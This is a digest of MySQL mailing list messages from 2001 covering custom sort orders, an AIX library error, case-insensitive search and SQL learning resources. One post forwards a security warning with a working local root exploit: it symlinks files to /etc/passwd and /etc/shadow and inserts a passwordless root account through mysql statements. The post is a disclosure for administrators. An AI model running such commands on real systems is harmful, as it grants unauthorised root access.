unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Dynamic Custom Sort Orders
hey all! I'm developing a CGI app for access to a mysql table. I want to offer users the ability to arbitrarily sort the results. That is, given the following table: letter - A B C I want to sort the results as B,C,A , C,A,B, and such. I need to do this from a single select statement so I can use the LIMIT parameter to keep state and page through the results. The best solution I've come up with so far is to dynamically build an IF statement like the following. Assume the requested order is C, A, B SELECT letter, IF(letter='C',1,IF(letter='A',2,IF(letter='B',3,4))) as MYORDER FROM alpha ORDER BY MYORDER This works, but it seems a tad clumsy. Also, the real table and sort order uses and combines multiple columns, so it gets really hairy. How to use formulas to affect sort order in the ORDER BY clause isn't clear to me (other than RAND()), so I'm wondering if a cleaner solution lies there. Any thoughts would be appreciated Peace, Michael Todd - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Dynamic Custom Sort Orders
Hi, This is a bit unclear - any sorting is either based on some combination of values, be they columns, bits of columns, static values or random values, and so can be expressed as an Order BY clause. For example, I have a report that allows the user to say in which order the columns should be sorted, and create an order by clause (in 'C') from their selections. Are you able to clarify things a bit further? Quentin -Original Message- From: Michael Todd Glazier [mailto:[EMAIL PROTECTED]] Sent: Friday, 23 March 2001 8:31 a.m. To: [EMAIL PROTECTED] Subject: Dynamic Custom Sort Orders hey all! I'm developing a CGI app for access to a mysql table. I want to offer users the ability to arbitrarily sort the results. That is, given the following table: letter - A B C I want to sort the results as B,C,A , C,A,B, and such. I need to do this from a single select statement so I can use the LIMIT parameter to keep state and page through the results. The best solution I've come up with so far is to dynamically build an IF statement like the following. Assume the requested order is C, A, B SELECT letter, IF(letter='C',1,IF(letter='A',2,IF(letter='B',3,4))) as MYORDER FROM alpha ORDER BY MYORDER This works, but it seems a tad clumsy. Also, the real table and sort order uses and combines multiple columns, so it gets really hairy. How to use formulas to affect sort order in the ORDER BY clause isn't clear to me (other than RAND()), so I'm wondering if a cleaner solution lies there. Any thoughts would be appreciated Peace, Michael Todd - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php The information contained in this email is privileged and confidential and intended for the addressee only. If you are not the intended recipient, you are asked to respect that confidentiality and not disclose, copy or make use of its contents. If received in error you are asked to destroy this email and contact the sender immediately. Your assistance is appreciated. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
can't find shr.o???
Mysql experts, I downloaded the binary distribution for AIX on a Risc/6000 and tried to install it. However, when I get to the mysql_install_db part I get the following error which ultimately fails to complete. # scripts/mysql_install_db Could not load program ./bin/my_print_defaults: Dependent module /usr/local/lib/libz.a(shr.o) could not be loaded. Member shr.o is not found in archive What exactly does this mean? Does this imply that it was precompiled with a compiler and libraries that I don't have? Note: We don't have Xlc installed, but we do have gcc installed. If so, does this mean I have to compile from scratch with gcc? Is there a binary distribution for aix having been compiled with gcc? Or is there another solution to this problem? Any thoughts on this matter are much appreciated. -- Tim Tyler Network Manager - Beloit College [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
re: accessing MySQL using msqry32.exe
hello all, thanks for the replies regarding why problems using msqry32.exe. ultimately, my flaw was that i had created a GRANT for the database "cat" while the ODBC DSN connection was trying to use the database "CAT". uppercase got me, a common problem of mine. thanks again. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: can't find shr.o???
First off check you version of aix. Also you have to install the zlib packed, that is where you will find libz.a library I had this very problem and it took me a whie to hunt down aprpriate files. I was on aix 4.3.0 and now 4.3.3(the zlib package needs thenewer OS.) you can look: on http://www-1.ibm.com/servers/aix/products/aixos/linux/download.html for the packages. Enjoy, Jack -Original Message- From: Tim Tyler [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 3:55 PM To: [EMAIL PROTECTED] Subject: can't find shr.o??? Mysql experts, I downloaded the binary distribution for AIX on a Risc/6000 and tried to install it. However, when I get to the mysql_install_db part I get the following error which ultimately fails to complete. # scripts/mysql_install_db Could not load program ./bin/my_print_defaults: Dependent module /usr/local/lib/libz.a(shr.o) could not be loaded. Member shr.o is not found in archive What exactly does this mean? Does this imply that it was precompiled with a compiler and libraries that I don't have? Note: We don't have Xlc installed, but we do have gcc installed. If so, does this mean I have to compile from scratch with gcc? Is there a binary distribution for aix having been compiled with gcc? Or is there another solution to this problem? Any thoughts on this matter are much appreciated. -- Tim Tyler Network Manager - Beloit College [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: can't find shr.o???
Jack, My AIX oslevel reports 4.3.2. The zlib package is already installed. The libz.a file is easily found in /usr/local/lib. It just won't load for some reason. I must have some library problems with shr.o. Any thoughts? Tim First off check you version of aix. Also you have to install the zlib packed, that is where you will find libz.a library I had this very problem and it took me a whie to hunt down aprpriate files. I was on aix 4.3.0 and now 4.3.3(the zlib package needs thenewer OS.) you can look: on http://www-1.ibm.com/servers/aix/products/aixos/linux/download.html for the packages. Enjoy, Jack -Original Message- From: Tim Tyler [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 3:55 PM To: [EMAIL PROTECTED] Subject: can't find shr.o??? Mysql experts, I downloaded the binary distribution for AIX on a Risc/6000 and tried to install it. However, when I get to the mysql_install_db part I get the following error which ultimately fails to complete. # scripts/mysql_install_db Could not load program ./bin/my_print_defaults: Dependent module /usr/local/lib/libz.a(shr.o) could not be loaded. Member shr.o is not found in archive What exactly does this mean? Does this imply that it was precompiled with a compiler and libraries that I don't have? Note: We don't have Xlc installed, but we do have gcc installed. If so, does this mean I have to compile from scratch with gcc? Is there a binary distribution for aix having been compiled with gcc? Or is there another solution to this problem? Any thoughts on this matter are much appreciated. -- Tim Tyler Network Manager - Beloit College [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php -- Tim Tyler Network Manager - Beloit College [EMAIL PROTECTED] Go Packers! Go Badgers! 19992000 Rose Bowl Champions! - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: can't find shr.o???
I would look into the Lib paths...though this is a quick sanity check...(I have to ask) when you execute the script mysql_install_db are you in some pathmysql-3.xx.xx-aix/ or in the scripts directory? I ask because that can mess the script up. since it is looking into a relative directory for the bin directory. -Original Message- From: Tim Tyler [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 4:28 PM To: [EMAIL PROTECTED] Cc: [EMAIL PROTECTED] Subject: Re: can't find shr.o??? Jack, My AIX oslevel reports 4.3.2. The zlib package is already installed. The libz.a file is easily found in /usr/local/lib. It just won't load for some reason. I must have some library problems with shr.o. Any thoughts? Tim First off check you version of aix. Also you have to install the zlib packed, that is where you will find libz.a library I had this very problem and it took me a whie to hunt down aprpriate files. I was on aix 4.3.0 and now 4.3.3(the zlib package needs thenewer OS.) you can look: on http://www-1.ibm.com/servers/aix/products/aixos/linux/download.html for the packages. Enjoy, Jack -Original Message- From: Tim Tyler [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 3:55 PM To: [EMAIL PROTECTED] Subject: can't find shr.o??? Mysql experts, I downloaded the binary distribution for AIX on a Risc/6000 and tried to install it. However, when I get to the mysql_install_db part I get the following error which ultimately fails to complete. # scripts/mysql_install_db Could not load program ./bin/my_print_defaults: Dependent module /usr/local/lib/libz.a(shr.o) could not be loaded. Member shr.o is not found in archive What exactly does this mean? Does this imply that it was precompiled with a compiler and libraries that I don't have? Note: We don't have Xlc installed, but we do have gcc installed. If so, does this mean I have to compile from scratch with gcc? Is there a binary distribution for aix having been compiled with gcc? Or is there another solution to this problem? Any thoughts on this matter are much appreciated. -- Tim Tyler Network Manager - Beloit College [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php -- Tim Tyler Network Manager - Beloit College [EMAIL PROTECTED] Go Packers! Go Badgers! 19992000 Rose Bowl Champions! - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
SQL Documentation
Hi, I am new on this list, and also new on mysql, i know little much abt database and SQL as i learn in my graduate course, is there any online documentation available for SQL or Database, so i referesh my knowledge and create database on mysql. I already installed mysql server on Solaris 8(x86) and its running fine, i also create some sample tables and database and run simple select querry. i just need a documentation of sql which give me idea what type of data types mysql support and how i use them on database. i am trying to make a simple database for our alumni organization. hope to hear soon! Thanks, Moin - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
warning: mysql local root exploit when running as root
Hello This one appeared on a Debian mailing list. I know that this is fixed in the latest versions as they allow running the server as non-root user and so it is not considered as a bug () but I'm sure that there're administrators out there which are not aware of this exploiting method! bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified Hi, At first, an apology if this came by earlier, i accidentally removed quite some debian-* mail, and i don't know of a -private archive for developers. As seen on some mailinglist, can't remember which one: $ cd /var/tmp $ ln -s /etc/passwd gotcha.ISD $ ln -s /etc/shadow make_me_r00t.ISD $ mysql -u user -h localhost -p somepassword '../../tmp' create table gotcha(qqq varchar(255)); create table make_me_r00t(qqq varchar(255)); insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n'); insert into make_me_r00t values('\nr00t::1:0:9:7:-1:-1:\n'); \q Testing/unstable both have =3.23-ish, stable has 3.22-ish. testing/unstable are not vulnerable, i didn't have a stable box at hand to try. Anyone who has tried this on stable? In my opinion, the whole idea of being able to specify an alternate database location to the mysql server is a problem, and I never have seen a real use for it (correct me if i'm wrong). I'm pondering on filing a bug against mysql-server for the whole alternate-location thing (bugs keep popping up with stuff ranging from these symlink tricks to stuff like 'select * from infile'-ish problems that allow reading from any file). Greets, Robert -- Linux Generation -- Please respect the privacy of this mailing list. To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: SQL Documentation
trying to make a simple database for our alumni organization. hope to hear soon! Thanks, Moin First there is a very good doc on www.mysql.com and you can find info on www.devshed.com but also on many other websites. Use your favorite searchengine! You might want to buy a good book. I'm using "MySQL mSQL from O'Reilly" and "MySQL from New Riders (written by Paul DuBois)". If you need a step by step guide I can recommend the book written by Paul DuBois. www.devshed.com will provide you with an online step-by-step guide. Bye, B. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: SQL Documentation
http://www.mysql.com/documentation/index.html Cal http://www.calevans.com -Original Message- From: Khan, Moin [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 3:33 PM To: [EMAIL PROTECTED] Subject: SQL Documentation Hi, I am new on this list, and also new on mysql, i know little much abt database and SQL as i learn in my graduate course, is there any online documentation available for SQL or Database, so i referesh my knowledge and create database on mysql. I already installed mysql server on Solaris 8(x86) and its running fine, i also create some sample tables and database and run simple select querry. i just need a documentation of sql which give me idea what type of data types mysql support and how i use them on database. i am trying to make a simple database for our alumni organization. hope to hear soon! Thanks, Moin - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Case Sensitive??
Hello All, I have a table with a column called "bus_name" varchar(100) which is used in a Business Name search form. I need to make the Business Name that is entered into the search form case in-sensitive to the column "bus_name" IE. If we have a entry in the column "bus_name" "The Happy Shop", and someone enters "the happy shop" or "THE HAPPY SHOP", it will still return a match. If I add the attribute "BINARY" to the colunm "bus_name" will this make it case-insensitive or is there another way to do this within the SQL query?? TIA, Mike(mickalo)Blezien Thunder Rain Internet Publishing Providing Internet Solutions that work! http://www.thunder-rain.com Tel: 1(225) 686-2002 = - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Case Sensitive??
If you add BINARY to the column it WILL make it case sensitive. On Thursday 22 March 2001 22:01, you wrote: Hello All, I have a table with a column called "bus_name" varchar(100) which is used in a Business Name search form. I need to make the Business Name that is entered into the search form case in-sensitive to the column "bus_name" IE. If we have a entry in the column "bus_name" "The Happy Shop", and someone enters "the happy shop" or "THE HAPPY SHOP", it will still return a match. If I add the attribute "BINARY" to the colunm "bus_name" will this make it case-insensitive or is there another way to do this within the SQL query?? TIA, Mike(mickalo)Blezien Thunder Rain Internet Publishing Providing Internet Solutions that work! http://www.thunder-rain.com Tel: 1(225) 686-2002 = - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: SQL Documentation
I already view this document, but its not have enought information regarding SQL, its give you good information on how to install and manage mysql server, but a very little abt sql. i am looking for in depth information on sql. hope to hear soon. thanks, Moin -Original Message- From: Cal Evans [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 1:50 PM To: Khan, Moin; [EMAIL PROTECTED] Subject: RE: SQL Documentation http://www.mysql.com/documentation/index.html Cal http://www.calevans.com -Original Message- From: Khan, Moin [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 3:33 PM To: [EMAIL PROTECTED] Subject: SQL Documentation Hi, I am new on this list, and also new on mysql, i know little much abt database and SQL as i learn in my graduate course, is there any online documentation available for SQL or Database, so i referesh my knowledge and create database on mysql. I already installed mysql server on Solaris 8(x86) and its running fine, i also create some sample tables and database and run simple select querry. i just need a documentation of sql which give me idea what type of data types mysql support and how i use them on database. i am trying to make a simple database for our alumni organization. hope to hear soon! Thanks, Moin - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: SQL Documentation
My favorite (dead tree) SQL primer is: http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=0764504150vm= Don't let the name fool you, it's an excellent primer. Cal http://www.calevans.com -Original Message- From: Khan, Moin [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 5:02 PM To: 'Cal Evans'; Khan, Moin; [EMAIL PROTECTED] Subject: RE: SQL Documentation I already view this document, but its not have enought information regarding SQL, its give you good information on how to install and manage mysql server, but a very little abt sql. i am looking for in depth information on sql. hope to hear soon. thanks, Moin -Original Message- From: Cal Evans [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 1:50 PM To: Khan, Moin; [EMAIL PROTECTED] Subject: RE: SQL Documentation http://www.mysql.com/documentation/index.html Cal http://www.calevans.com -Original Message- From: Khan, Moin [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 3:33 PM To: [EMAIL PROTECTED] Subject: SQL Documentation Hi, I am new on this list, and also new on mysql, i know little much abt database and SQL as i learn in my graduate course, is there any online documentation available for SQL or Database, so i referesh my knowledge and create database on mysql. I already installed mysql server on Solaris 8(x86) and its running fine, i also create some sample tables and database and run simple select querry. i just need a documentation of sql which give me idea what type of data types mysql support and how i use them on database. i am trying to make a simple database for our alumni organization. hope to hear soon! Thanks, Moin - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Case Sensitive??
Try Select * from table where upper(bus_name)= upper('whater I am searching for'); Cal http://www.calevans.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]On Behalf Of MikemickaloBlezien Sent: Thursday, March 22, 2001 4:02 PM To: [EMAIL PROTECTED] Subject: Case Sensitive?? Hello All, I have a table with a column called "bus_name" varchar(100) which is used in a Business Name search form. I need to make the Business Name that is entered into the search form case in-sensitive to the column "bus_name" IE. If we have a entry in the column "bus_name" "The Happy Shop", and someone enters "the happy shop" or "THE HAPPY SHOP", it will still return a match. If I add the attribute "BINARY" to the colunm "bus_name" will this make it case-insensitive or is there another way to do this within the SQL query?? TIA, Mike(mickalo)Blezien Thunder Rain Internet Publishing Providing Internet Solutions that work! http://www.thunder-rain.com Tel: 1(225) 686-2002 = - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Case Sensitive??
On Thu, 22 Mar 2001 22:27:06 +, Jordan Elver [EMAIL PROTECTED] wrote: Ignore this post! My fault, we had something coded wrong in the script.! It works fine now. My apologies to the list! :( If you add BINARY to the column it WILL make it case sensitive. On Thursday 22 March 2001 22:01, you wrote: Hello All, I have a table with a column called "bus_name" varchar(100) which is used in a Business Name search form. I need to make the Business Name that is entered into the search form case in-sensitive to the column "bus_name" IE. If we have a entry in the column "bus_name" "The Happy Shop", and someone enters "the happy shop" or "THE HAPPY SHOP", it will still return a match. If I add the attribute "BINARY" to the colunm "bus_name" will this make it case-insensitive or is there another way to do this within the SQL query?? TIA, Mike(mickalo)Blezien Thunder Rain Internet Publishing Providing Internet Solutions that work! http://www.thunder-rain.com Tel: 1(225) 686-2002 = - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: SQL Documentation
Here's an online SQL tutorial you may find helpful. http://www.sqlcourse.com/ --jfarr - Original Message - From: "Khan, Moin" [EMAIL PROTECTED] To: "'Cal Evans'" [EMAIL PROTECTED]; "Khan, Moin" [EMAIL PROTECTED]; [EMAIL PROTECTED] Sent: Thursday, March 22, 2001 3:02 PM Subject: RE: SQL Documentation I already view this document, but its not have enought information regarding SQL, its give you good information on how to install and manage mysql server, but a very little abt sql. i am looking for in depth information on sql. hope to hear soon. thanks, Moin -Original Message- From: Cal Evans [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 1:50 PM To: Khan, Moin; [EMAIL PROTECTED] Subject: RE: SQL Documentation http://www.mysql.com/documentation/index.html Cal http://www.calevans.com -Original Message- From: Khan, Moin [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 3:33 PM To: [EMAIL PROTECTED] Subject: SQL Documentation Hi, I am new on this list, and also new on mysql, i know little much abt database and SQL as i learn in my graduate course, is there any online documentation available for SQL or Database, so i referesh my knowledge and create database on mysql. I already installed mysql server on Solaris 8(x86) and its running fine, i also create some sample tables and database and run simple select querry. i just need a documentation of sql which give me idea what type of data types mysql support and how i use them on database. i am trying to make a simple database for our alumni organization. hope to hear soon! Thanks, Moin - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: SQL Documentation
in my university life we have a course of RDBMS, and we read this book http://www.amazon.com/exec/obidos/ASIN/0201385902/qid=985302791/sr=1-6/ref=s c_b_7/002-2170015-1024007 but , ofcourse we have its earlier editition. right now i dont have that book, so, i am looking similar sort of information on net. Thanks, Moin -Original Message- From: Jonothan Farr [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 3:09 PM To: Khan, Moin; [EMAIL PROTECTED] Subject: Re: SQL Documentation Here's an online SQL tutorial you may find helpful. http://www.sqlcourse.com/ --jfarr - Original Message - From: "Khan, Moin" [EMAIL PROTECTED] To: "'Cal Evans'" [EMAIL PROTECTED]; "Khan, Moin" [EMAIL PROTECTED]; [EMAIL PROTECTED] Sent: Thursday, March 22, 2001 3:02 PM Subject: RE: SQL Documentation I already view this document, but its not have enought information regarding SQL, its give you good information on how to install and manage mysql server, but a very little abt sql. i am looking for in depth information on sql. hope to hear soon. thanks, Moin -Original Message- From: Cal Evans [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 1:50 PM To: Khan, Moin; [EMAIL PROTECTED] Subject: RE: SQL Documentation http://www.mysql.com/documentation/index.html Cal http://www.calevans.com -Original Message- From: Khan, Moin [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 3:33 PM To: [EMAIL PROTECTED] Subject: SQL Documentation Hi, I am new on this list, and also new on mysql, i know little much abt database and SQL as i learn in my graduate course, is there any online documentation available for SQL or Database, so i referesh my knowledge and create database on mysql. I already installed mysql server on Solaris 8(x86) and its running fine, i also create some sample tables and database and run simple select querry. i just need a documentation of sql which give me idea what type of data types mysql support and how i use them on database. i am trying to make a simple database for our alumni organization. hope to hear soon! Thanks, Moin - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: MYSQL on Windows 2k
Daniel ... Make sure the path to C:\MYSQL\BIN (or wherever it is installed) is in the PATH environment variable (Settings - Control - System - Environment). Login as Administrator and edit the value for the path variable, set and apply ... your problems should be over! G. Jensen - Original Message - From: "Daniel J." [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Thursday, March 22, 2001 11:20 AM Subject: MYSQL on Windows 2k I installed mysql as a service and it starts/stops fine, but whenever I try any commands starting with 'mysql' on the prompt it says it's an unrecognized command. Please help. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: LOAD DATA INFILE
If it were me, I'd create a new table in the database with enough columns to handle all the data in the file. Then I'd do insert . . . . select into the table that need the data. Hope this helps, Michael Ridinger On Thu, 22 Mar 2001, Daniel Newman wrote: I've been looking into the help files provided for this command, and couldn't see a reference to the thing I'm wanting to do (so I've assumed it can't be done). BUT, just wanted confirmation in case there's a way to do this: I'm expecting to get a CSV file soon that I need to import into my mySQL database. Trouble is, the CSV file includes lots of columns that I don't need, and some that I need in separate tables. I saw in the TODO list that you will be offering the ability to choose which columns get included, but can you do a join function on the LOAD DATA INFILE? If not, would the only option be to generate new files (using FSO on NT) that are stripped down versions of the source file specific to each table? And then, to do the LOAD DATA multiple times with the new files? Hope this isn't the only option, as I don't want to have to script that as well! Thanks for your help, Daniel Newman. Bis-Web Ltd. Tel: 